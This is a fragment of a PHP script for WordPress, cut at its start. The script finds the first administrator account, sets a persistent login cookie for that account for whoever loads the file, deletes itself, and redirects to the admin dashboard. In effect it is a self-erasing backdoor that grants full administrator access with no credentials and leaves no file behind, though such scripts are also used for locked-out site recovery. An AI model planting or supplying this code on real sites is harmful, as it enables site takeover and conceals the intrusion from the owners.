'administrator', 'number' => 1 ] ); return $admins[0]->ID ?? null; } $user_id = get_first_admin_id(); if ( ! $user_id ) { if ( file_exists( __FILE__ ) ) { unlink( __FILE__ ); } die('No administrator found on this site.'); } wp_clear_auth_cookie(); wp_set_current_user( $user_id ); wp_set_auth_cookie( $user_id, true, is_ssl() ); if ( file_exists( __FILE__ ) ) { unlink( __FILE__ ); } wp_redirect( admin_url() ); exit;